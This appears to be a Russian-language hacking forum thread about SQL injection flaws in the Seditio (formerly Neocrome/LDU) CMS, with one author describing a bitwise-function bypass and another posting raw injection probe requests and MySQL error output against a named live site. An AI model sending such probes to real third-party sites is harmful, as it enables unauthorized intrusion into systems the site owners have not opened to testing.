SEDITIO, ранее Neocrome, а еще ранее LDU обзавелся новым багом, реализовать который было куда интереснее, нежели обычную иньекцию, пусть даже слепую. Все дело осложняется тем, что данные из формы обрамляются запятыми с обоих сторон для последующего помещения в поисковый запрос. Уязвимым является параметр для поиск юзера в отправке личных сообщений. Подготавливаем запрос, учитывая облом с обрамлением запятых И получаем очередной облом - первое поле не выводится. В течение получаса было перепробавана куча вариантов, были подключены тоха и подкащей, но mysql во всех на первый взгял верных запросах возвращал ноль. Вариант с подзапросами и перебором я отбросил сразу, уж слишком много запятых требовалось экранировать, да и не получалось xD Тогда на помощь пришел dev.mysql.com который сообщил мне о поразрядных функциях, вкратце напомню Помимо этих трех есть еще поразрядный сдвиг и инвертирование, но нам для запроса понадобятся лишь эти, точнее один из них. Это единственные функции в mysql, которые позволяют сравнивать числа с нулевой строкой и при этом даже получать результат xD Описание этой баги отказались принять на милворм, потому что stroke не разобрался, решил опубликовать тут, может кто и напишет эксплоит underWHAT?!
Оффсайт работает http://www.neocrome.ru/ анлг соответственно .net На сайте sumclub.ru который работает на движке Seditio обнаружел сдедующие уязвимости Запрос для выполнения SQL инъекции: http://sumclub.ru/forum/comments.php?id=1' Результат работы <...> pfOjA6XzpzdW1jbHViX25ldw%3D%3D; expires=Fri, 19-Jun-2037 18:54:00 GMT MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' ORDER BY com_id ASC' at line 1 <...> Запрос для выполнения SQL инъекции: POST /forum/auth.php?m=login&a=check&redirect= HTTP/1.1 Host: sumclub.ru Content-Type: application/x-www-form-urlencoded Content-Length: 40 rusername='&rpassword=1&rcookiettl=1&x=1 Результат работы <...> A6XzpzdW1jbHViX25ldw%3D%3D; expires=Fri, 19-Jun-2037 19:36:09 GMT a3 MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\'' at line 1 0 Запрос для выполнения SQL инъекции: POST /forum/auth.php?m=register&a=add HTTP/1.1 Host: sumclub.ru Content-Type: application/x-www-form-urlencoded Content-Length: 87 rusername=1&remail='&rpassword1=1&rpassword2=1&rlocation=1&roccupation=1&x=1&rcountry=1 Результат работы <...> A6XzpzdW1jbHViX25ldw%3D%3D; expires=Fri, 19-Jun-2037 19:55:15 GMT a3 MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\'' at line 1 0 что можно с этм зделать помино обнаружено Доступен метод TRACE Слабая криптография Версии протокола 1.33 и 1.5 недостаточно защищены криптографически.